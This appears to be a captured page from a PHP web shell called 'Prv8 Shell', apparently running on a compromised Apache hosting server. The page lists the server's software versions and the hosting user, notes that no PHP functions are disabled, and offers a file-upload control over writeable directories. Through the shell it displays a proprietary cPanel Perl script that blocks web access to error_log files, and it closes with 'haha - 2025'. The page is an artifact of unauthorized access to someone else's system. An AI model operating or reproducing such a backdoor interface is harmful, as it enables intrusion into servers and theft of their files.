Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /proc/self/root/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/scripts/checkerrorlogsafe
#!/usr/local/cpanel/3rdparty/bin/perl
# cpanel - scripts/checkerrorlogsafe              Copyright(c) 2014 cPanel, Inc.
#                                                           All rights Reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use Cpanel::SafeFile             ();
use Cpanel::ConfigFiles::Apache  ();
use Cpanel::HttpUtils::ApRestart ();
use Cpanel::RcsRecord            ();
use Cpanel::Logger               ();

my $apacheconf = Cpanel::ConfigFiles::Apache->new();

my $logger = Cpanel::Logger->new();

my $errblk = <<EOM;

<Files ~ "^error_log\$">
    Order allow,deny
    Deny from all
    Satisfy All
</Files>

EOM

my $httpconf = $apacheconf->file_conf();
my $hlock = Cpanel::SafeFile::safeopen( \*HTTPC, $httpconf );
if ( !$hlock ) {
    $logger->die("Could not read from $httpconf");
}

my $haserrlog = 0;
while (<HTTPC>) {
    if (/<files.*error_log/i) {
        $haserrlog = 1;
    }
}
Cpanel::SafeFile::safeclose( \*HTTPC, $hlock );

exit if $haserrlog;

$logger->info('Adding error_log exclusion to Apache configuration');

Cpanel::RcsRecord::rcsrecord( $httpconf, 'checkerrorlogsafe BEGIN' );

undef $hlock;
$hlock = Cpanel::SafeFile::safeopen( \*HTTPC, '+<', $httpconf );
if ( !$hlock ) {
    $logger->die("Could not edit $httpconf");
}

my @CFILE;
while (<HTTPC>) {
    push @CFILE, $_;
}

seek( HTTPC, 0, 0 );

foreach my $line (@CFILE) {
    if ( $line =~ m/^\s*<files.*\.ht/i ) {
        print HTTPC $errblk;
    }
    print HTTPC $line;

}
truncate( HTTPC, tell(HTTPC) );
Cpanel::SafeFile::safeclose( \*HTTPC, $hlock );

Cpanel::RcsRecord::rcsrecord( $httpconf, 'checkerrorlogsafe END' );

Cpanel::HttpUtils::ApRestart::safeaprestart();

haha - 2025